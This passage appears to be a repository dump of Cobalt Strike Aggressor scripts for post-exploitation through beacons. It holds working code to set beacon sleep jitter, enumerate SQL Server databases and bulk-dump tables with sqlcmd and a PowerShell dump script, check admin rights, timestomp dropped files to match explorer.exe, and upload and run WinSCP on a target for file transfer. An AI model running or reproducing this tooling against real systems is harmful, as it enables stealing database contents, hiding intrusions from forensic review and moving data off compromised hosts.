| return float(pretty_short_to_milli(value)) / 1000.0 141 | 142 | def sleep(bid, value, jitter=30): 143 | """ 144 | Tell a beacon to sleep for a certain amount of time 145 | 146 | The pretty short time format looks like this: 9d:8h:7m:6s:5ms 147 | That represents: 9 days, 8 hours, 7 minutes, 6 seconds, and 5 milliseconds 148 | 149 | Plain numbers are converted to seconds. 150 | 151 | :param bid: Beacon 152 | :param value: Pretty time value 153 | :param jitter: Jittery percentage (default: 30) 154 | """ 155 | 156 | sleep_time = int(pretty_short_to_seconds(value)) 157 | jitter = int(jitter) 158 | jitter_factor = sleep_time * (jitter / 100) 159 | max_sleep = sleep_time + jitter_factor 160 | min_sleep = sleep_time - jitter_factor 161 | pretty_max = pretty_short_time(max_sleep * 1000) 162 | pretty_min = pretty_short_time(min_sleep * 1000) 163 | 164 | if sleep_time: 165 | aggressor.btask(bid, 'Tasked beacon to sleep for between {} and {}'.format(pretty_min, pretty_max)) 166 | else: 167 | aggressor.btask(bid, 'Tasked beacon to be interactive') 168 | 169 | aggressor.bsleep(bid, sleep_time, jitter, silent=True) 170 | 171 | def pause(bid, value): 172 | """ 173 | Tell a beacon to pause for a certain amount of time 174 | 175 | The pretty short time format looks like this: 9d:8h:7m:6s:5ms 176 | That represents: 9 days, 8 hours, 7 minutes, 6 seconds, and 5 milliseconds 177 | 178 | Plain numbers are converted to seconds. 179 | 180 | :param bid: Beacon 181 | :param value: Pretty time value 182 | :param jitter: Jittery percentage (default: 30) 183 | """ 184 | 185 | sleep_time = pretty_short_to_milli(value) 186 | pretty_time = pretty_short_time(sleep_time) 187 | 188 | aggressor.btask(bid, 'Tasked beacon to pause for {}'.format(pretty_time)) 189 | aggressor.bpause(bid, sleep_time) 190 | -------------------------------------------------------------------------------- /sql.cna: -------------------------------------------------------------------------------- 1 | include(script_resource("utils.cna")); 2 | 3 | # powershell scripts 4 | $sqldump_ps1 = script_resource('powershell/SqlDump.ps1'); 5 | 6 | # helper: run a SQL query 7 | # runsql(bid, query, outfile, server = '127.0.0.1', separator = ' ') 8 | sub runsql { 9 | $bid = $1; 10 | $query = $2; 11 | $outfile = $3; 12 | if ($4) { 13 | $server = $4; 14 | } else { 15 | $server = '127.0.0.1'; 16 | } 17 | if ($5) { 18 | $separator = $5; 19 | } else { 20 | $separator = '`t'; 21 | } 22 | 23 | $command = 'sqlcmd -k 1 -W -s "' . $separator . '" -S ' . $server . ' -E -Q "' . $query . '"'; 24 | if ($outfile) { 25 | $command .= " > $outfile "; 26 | } 27 | $command .= " & "; 28 | $command .= "echo query finished & "; 29 | 30 | blog($bid, "Running SQL: $query"); 31 | bshell!($bid, $command); 32 | } 33 | 34 | # run a SQL query 35 | # usage: sql [server] 36 | alias sql { 37 | $bid = $1; 38 | $query = $2; 39 | $server = $3; 40 | 41 | # check args 42 | if (!$query) { 43 | blog($bid, "sql [out file] [server]"); 44 | return; 45 | } 46 | 47 | runsql($bid, $query, $null, $server); 48 | } 49 | 50 | # run a SQL query. put output in file 51 | # usage: sqlto [server] 52 | alias sqlto { 53 | $bid = $1; 54 | $query = $2; 55 | $outfile = $3; 56 | $server = $4; 57 | 58 | # check args 59 | if (!$query || !$outfile) { 60 | blog($bid, "sqlto [server]"); 61 | return; 62 | } 63 | 64 | runsql($bid, $query, $outfile, $server); 65 | } 66 | 67 | # get list of databases 68 | # usage: sql-databases [server] 69 | alias sql-databases { 70 | $bid = $1; 71 | $server = $2; 72 | 73 | runsql($bid, "SELECT name FROM master.dbo.sysdatabases", $null, $server); 74 | } 75 | 76 | # get list of principal databases 77 | # usage: sql-principals [server] 78 | alias sql-principals { 79 | $bid = $1; 80 | $server = $2; 81 | 82 | $query = "SELECT master.dbo.sysdatabases.name "; 83 | $query .= "FROM master.dbo.sysdatabases "; 84 | $query .= "LEFT OUTER JOIN sys.database_mirroring ON master.dbo.sysdatabases.dbid = sys.database_mirroring.database_id "; 85 | $query .= "WHERE sys.database_mirroring.mirroring_role_desc = 'PRINCIPAL' "; 86 | $query .= "OR sys.database_mirroring.mirroring_role_desc IS NULL "; 87 | 88 | runsql($bid, $query, $null, $server); 89 | } 90 | 91 | # get database mirroring info 92 | # usage: sql-mirroring [server] 93 | alias sql-mirroring { 94 | $bid = $1; 95 | $server = $2; 96 | 97 | $query = 'SELECT master.dbo.sysdatabases.name, sys.database_mirroring.mirroring_role_desc '; 98 | $query .= 'FROM master.dbo.sysdatabases '; 99 | $query .= 'LEFT JOIN sys.database_mirroring '; 100 | $query .= 'ON sys.database_mirroring.database_id = master.dbo.sysdatabases.dbid'; 101 | 102 | runsql($bid, $query, $null, $server, ' '); 103 | } 104 | 105 | # list all tables in a database 106 | # usage: sql-alltables [server] 107 | alias sql-alltables { 108 | $bid = $1; 109 | $database = $2; 110 | $server = $3; 111 | 112 | # check args 113 | if (!$database) { 114 | blog($bid, "sql-alltables [server]"); 115 | return; 116 | } 117 | 118 | $query = "USE $database ; "; 119 | $query .= "SELECT DISTINCT table_name FROM information_schema.tables WHERE table_type='BASE TABLE'"; 120 | 121 | runsql($bid, $query, $null, $server); 122 | } 123 | 124 | # list tables in a schema 125 | # usage: sql-tables [server] 126 | alias sql-tables { 127 | $bid = $1; 128 | $database = $2; 129 | $schema = $3; 130 | $server = $4; 131 | 132 | # check args 133 | if (!$database || !$schema) { 134 | blog($bid, "sql-tables [server]"); 135 | return; 136 | } 137 | 138 | $query = "USE $database ; "; 139 | $query .= "SELECT name FROM sys.objects WHERE schema_id = SCHEMA_ID('" . $schema . "') AND type_desc = 'USER_TABLE'"; 140 | 141 | runsql($bid, $query, $null, $server); 142 | } 143 | 144 | # list all objects in a schema 145 | # usage: sql-objects [server] 146 | alias sql-objects { 147 | $bid = $1; 148 | $database = $2; 149 | $schema = $3; 150 | $server = $4; 151 | 152 | # check args 153 | if (!$database || !$schema) { 154 | blog($bid, "sql-objects [server]"); 155 | return; 156 | } 157 | 158 | $query = "USE $database ; "; 159 | $query .= "SELECT name,type_desc FROM sys.objects WHERE schema_id = SCHEMA_ID('" . $schema . "')"; 160 | 161 | runsql($bid, $query, $null, $server); 162 | } 163 | 164 | # list schemas in a database 165 | # usage: sql-schemas [server] 166 | alias sql-schemas { 167 | $bid = $1; 168 | $database = $2; 169 | $server = $3; 170 | 171 | # check args 172 | if (!$database) { 173 | blog($bid, "sql-schemas [server]"); 174 | return; 175 | } 176 | 177 | $query = "USE $database ; "; 178 | $query .= "SELECT name FROM sys.schemas"; 179 | 180 | runsql($bid, $query, $null, $server); 181 | } 182 | 183 | # helper: invoke sqldump powershell script 184 | # do_sqldump(bid, outfile, listing = false, database = all, $top = all, $table = None, $columns = None, server = '127.0.0.1', no_load_script = False) 185 | sub do_sqldump { 186 | local('$bid $outfile $listing $database $server $top $table $columns $no_load_script $powershell'); 187 | $bid = $1; 188 | $outfile = $2; 189 | 190 | # named args: 191 | # - $listing 192 | # - $database 193 | # - $server 194 | # - $top 195 | # - $table 196 | # - $columns 197 | # - $no_load_script 198 | 199 | # defaults 200 | if (!$server) { 201 | $server = '127.0.0.1'; 202 | } 203 | 204 | # extra flags 205 | $flags = ''; 206 | if ($listing) { 207 | $flags .= ' -DryRun '; 208 | } 209 | if ($top) { 210 | $flags .= " -Top $top "; 211 | } 212 | if ($table) { 213 | $flags .= " -TableFilter $table "; 214 | } 215 | if ($columns) { 216 | $flags .= " -Columns $columns "; 217 | } 218 | 219 | # for sqldump-batch 220 | if (!$no_load_script) { 221 | bpowershell_import!($bid, $sqldump_ps1); 222 | } 223 | 224 | $powershell = "Write-Host 'Starting dump'; "; 225 | 226 | if ($database) { 227 | $powershell .= "Invoke-SQLDumpDatabase $flags -Database $database -Server $server"; 228 | } else { 229 | $powershell .= "Invoke-SQLDumpAll $flags -Server $server"; 230 | } 231 | $powershell .= " | Set-Content -Encoding UTF8 -Path $outfile ; "; 232 | $powershell .= "Write-Host 'Database dump finished';"; 233 | 234 | bpowerpick!($bid, $powershell); 235 | } 236 | 237 | # invoke sqldump powershell script 238 | # usage: sqldump [database] [server] 239 | alias sqldump { 240 | local('$bid $outfile $database $server'); 241 | $bid = $1; 242 | $outfile = $2; 243 | $database = $3; 244 | $server = $4; 245 | 246 | # check args 247 | if (!$outfile) { 248 | blog($bid, "sqldump [database] [server]"); 249 | return; 250 | } 251 | 252 | do_sqldump($bid, $outfile, $database => $database, $server => $server); 253 | } 254 | 255 | # invoke sqldump powershell script, filter to specific tables and/or columns 256 | # usage: sqldump-filtered [table] [columns] [database] [server] 257 | alias sqldump-filtered { 258 | local('$bid $outfile $database $server'); 259 | $bid = $1; 260 | $outfile = $2; 261 | $table = $3; 262 | $columns = $4; 263 | $database = $5; 264 | $server = $6; 265 | 266 | # check args 267 | if (!$outfile) { 268 | blog($bid, "sqldump-filtered [table] [columns] [database] [server]"); 269 | return; 270 | } 271 | 272 | do_sqldump($bid, $outfile, $table => $table, $columns => $columns, $database => $database, $server => $server); 273 | } 274 | 275 | # invoke sqldump powershell script, list tables and their columns 276 | # usage: sqldump-listing [database] [server] 277 | alias sqldump-listing { 278 | local('$bid $outfile $database $server'); 279 | $bid = $1; 280 | $outfile = $2; 281 | $database = $3; 282 | $server = $4; 283 | 284 | # check args 285 | if (!$outfile) { 286 | blog($bid, "sqldump-listing [database] [server]"); 287 | return; 288 | } 289 | 290 | do_sqldump($bid, $outfile, $listing => true, $database => $database, $server => $server); 291 | } 292 | 293 | # invoke sqldump powershell script, sample first rows 294 | # usage: sqldump-sample [database] [top count] [server] 295 | alias sqldump-sample { 296 | local('$bid $outfile $top $database $server'); 297 | $bid = $1; 298 | $outfile = $2; 299 | $database = $3; 300 | $top = $4; 301 | $server = $5; 302 | 303 | # check args 304 | if (!$outfile) { 305 | blog($bid, "sqldump-sample [database] [top count] [server]"); 306 | return; 307 | } 308 | 309 | # defaults 310 | if (!$top) { 311 | $top = 2; 312 | } 313 | 314 | do_sqldump($bid, $outfile, $top => $top, $database => $database, $server => $server); 315 | } 316 | 317 | # dump table (use fully-qualified name) 318 | # usage: sqldump-table [server] 319 | alias sqldump-table { 320 | local('$bid $outfile $table $server'); 321 | $bid = $1; 322 | $table = $2; 323 | $outfile = $3; 324 | $server = $4; 325 | 326 | # check args 327 | if (!$outfile || !$table) { 328 | blog($bid, "sqldump-table
[server]"); 329 | return; 330 | } 331 | 332 | runsql($bid, "SELECT * FROM $table", $outfile, $server); 333 | } 334 | 335 | # dump list of tables from a file (uses sqldump table filter) 336 | # output directory will be like: 337 | # - out/ 338 | # - server1/ 339 | # - table1.dump 340 | # - table2.dump 341 | # - server2/ 342 | # - table1.dump 343 | # - table2.dump 344 | # usage: sqldump-tables [servers (comma separator)] 345 | alias sqldump-batch { 346 | local('$bid $outdir $tablelist $servers @servers'); 347 | $bid = $1; 348 | $outdir = $2; 349 | $tablelist = $3; 350 | $servers = $4; 351 | 352 | # check args 353 | if (!$outdir) { 354 | blog($bid, "sqldump-batch [servers (comma separator)]"); 355 | return; 356 | } 357 | 358 | # file dialog for tablelist 359 | if (!$tablelist) { 360 | prompt_file_open('Table list file', $null, false, { 361 | $tablelist = $1; 362 | }); 363 | if (!$tablelist) { 364 | return; 365 | } 366 | } 367 | 368 | # default server is localhost 369 | if (!$servers) { 370 | $servers = '127.0.0.1'; 371 | } 372 | 373 | bpowershell_import!($bid, $sqldump_ps1); 374 | bmkdir!($bid, $outdir); 375 | 376 | @servers = split(',', $servers); 377 | 378 | # get table list 379 | $handle = openf($tablelist); 380 | if (!$handle) { 381 | blog($bid, "couldn't open table list $tablelist"); 382 | return; 383 | } 384 | @tables = readAll($handle); 385 | closef($handle); 386 | 387 | foreach $server (@servers) { 388 | if (size(@servers) == 1) { 389 | $serverout = $outdir 390 | } else { 391 | $serverout = $outdir . '/' . $server; 392 | bmkdir!($bid, $serverout); 393 | } 394 | blog($bid, "Dumping server $server to $serverout"); 395 | 396 | foreach $table (@tables) { 397 | @parts = split("\t", $table); 398 | $table = @parts[0]; 399 | 400 | # optional column filter 401 | if (size(@parts) >= 2) { 402 | $columns = @parts[1]; 403 | } else { 404 | $columns = $null; 405 | } 406 | 407 | if ($columns) { 408 | blog($bid, "Dumping $columns from table $table on $server"); 409 | } else { 410 | blog($bid, "Dumping table $table on $server"); 411 | } 412 | 413 | $outfile = $serverout . '/' . $table . '.dump'; 414 | 415 | # do_sqldump(bid, outfile, listing = false, database = all, $top = all, $table = None, $columns = all, server = '127.0.0.1') 416 | do_sqldump($bid, $outfile, $table => $table, $columns => $columns, $server => $server, $no_load_script => true); 417 | } 418 | } 419 | } 420 | -------------------------------------------------------------------------------- /utils.cna: -------------------------------------------------------------------------------- 1 | # include like: 2 | # include(script_resource("utils.cna")); 3 | 4 | # return random string of length $1. uses characters a-zA-Z0-9 5 | sub randstr { 6 | local('$length $ret $charset'); 7 | $length = $1; 8 | 9 | $charset = 'abcdefghijklmnopqrstuvwxyz' . 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 10 | 11 | for ($i = 0; $i < $length; $i++) { 12 | $index = rand() * 1000 % strlen($charset); 13 | $ret .= charAt($charset, $index); 14 | } 15 | 16 | return $ret; 17 | } 18 | 19 | # return random number between $1 and $2 or up to $1 20 | sub rrand { 21 | if ($2) { 22 | $min = $1; 23 | $max = $2; 24 | } else { 25 | $min = 0; 26 | $max = $1; 27 | } 28 | 29 | return (rand() * 10000) % ($max - $min + 1) + $min; 30 | } 31 | 32 | # return random number of spaces between 1 and $1 33 | sub randspace { 34 | $max = $1; 35 | 36 | $ret = ''; 37 | $num = rrand(1, $max); 38 | for ($i = 0; $i < $num; $i++) { 39 | $ret .= ' '; 40 | } 41 | 42 | return $ret; 43 | } 44 | 45 | # return random number of newlines between 1 and $1 46 | sub randlines { 47 | $max = $1; 48 | 49 | $ret = ''; 50 | $num = rrand(1, $max); 51 | for ($i = 0; $i < $num; $i++) { 52 | $ret .= "\n"; 53 | } 54 | 55 | return $ret; 56 | } 57 | 58 | # check if beacon is admin (including SYSTEM) 59 | sub isAdmin { 60 | local('$bid $user'); 61 | 62 | $bid = $1; 63 | 64 | if (-isadmin($bid)) { 65 | return true; 66 | } 67 | 68 | $user = beacon_info($bid, 'user'); 69 | if (lc($user) eq 'system') { 70 | return true; 71 | } 72 | 73 | return false; 74 | } 75 | 76 | sub pspath { 77 | return 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; 78 | 79 | #$bid = $1; 80 | #if ($bid && -is64 $bid) { 81 | # return 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; 82 | #} else { 83 | # return 'C:\Windows\powershell.exe'; 84 | #} 85 | } 86 | 87 | # findprocess(bid, proc, callback) 88 | sub findprocess { 89 | $bid = $1; 90 | $proc = $2; 91 | $callback = $3; 92 | 93 | bps($bid, lambda({ 94 | local('$pid $name $entry $bid $content'); 95 | $bid = $1; 96 | $content = $2; 97 | 98 | @procs = @(); 99 | foreach $entry (split("\n", $content)) { 100 | ($name, $null, $pid, $arch) = split("\\s+", $entry); 101 | if ($name eq $proc) { 102 | push(@procs, %(pid => $pid, arch => $arch)); 103 | } 104 | } 105 | 106 | [$callback: $bid, @procs] 107 | }, $callback => $callback, $proc => $proc)); 108 | } 109 | 110 | # defaultListener() 111 | sub defaultListener { 112 | foreach $listener (listeners_local()) { 113 | if (($listener ismatch 'http.*') || ($listener ismatch 'main_.*')) { 114 | return $listener; 115 | } 116 | } 117 | return $null; 118 | } 119 | 120 | # explorerstome(bid, file) 121 | sub explorerstomp { 122 | $bid = $1; 123 | $file = $2; 124 | 125 | btimestomp($bid, $file, 'c:/windows/explorer.exe'); 126 | } 127 | 128 | # uploadto(bid, local_file, remote_file) 129 | sub uploadto { 130 | $bid = $1; 131 | $local_file = $2; 132 | $remote_file = $3; 133 | 134 | # read in file 135 | $handle = openf($local_file); 136 | $data = readb($handle, -1); 137 | closef($handle); 138 | 139 | bupload_raw($bid, $remote_file, $data, $local_file); 140 | } 141 | -------------------------------------------------------------------------------- /utils.gui.cna: -------------------------------------------------------------------------------- 1 | sub adminCheck { 2 | @bids = $1; 3 | 4 | # show a dialog error if no beacons are admin 5 | $admin = false; 6 | foreach $bid (@bids) { 7 | if (isAdmin($bid)) { 8 | $admin = true; 9 | break; 10 | } 11 | } 12 | if (!$admin) { 13 | show_error("Requires admin privs"); 14 | } 15 | 16 | return $admin; 17 | } 18 | -------------------------------------------------------------------------------- /winscp.cna: -------------------------------------------------------------------------------- 1 | include(script_resource("utils.cna")); 2 | 3 | # TODO use bupload_raw to put it somewhere else 4 | alias winscp-init { 5 | $bid = $1; 6 | blog($bid, 'Uploading winscp.exe'); 7 | bupload($bid, script_resource('tools/winscp.exe')); 8 | explorerstomp($bid, 'winscp.exe'); 9 | } 10 | 11 | alias winscp { 12 | $bid = $1; 13 | shift(@_); 14 | $line = join(' ', @_); 15 | bpowerpick!($bid, "echo 'winscp starting'; ./winscp.exe /console $line ; echo 'winscp finished';"); 16 | } 17 | 18 | alias winscp-stop { 19 | $bid = $1; 20 | brm($bid, 'winscp.exe'); 21 | } 22 | --------------------------------------------------------------------------------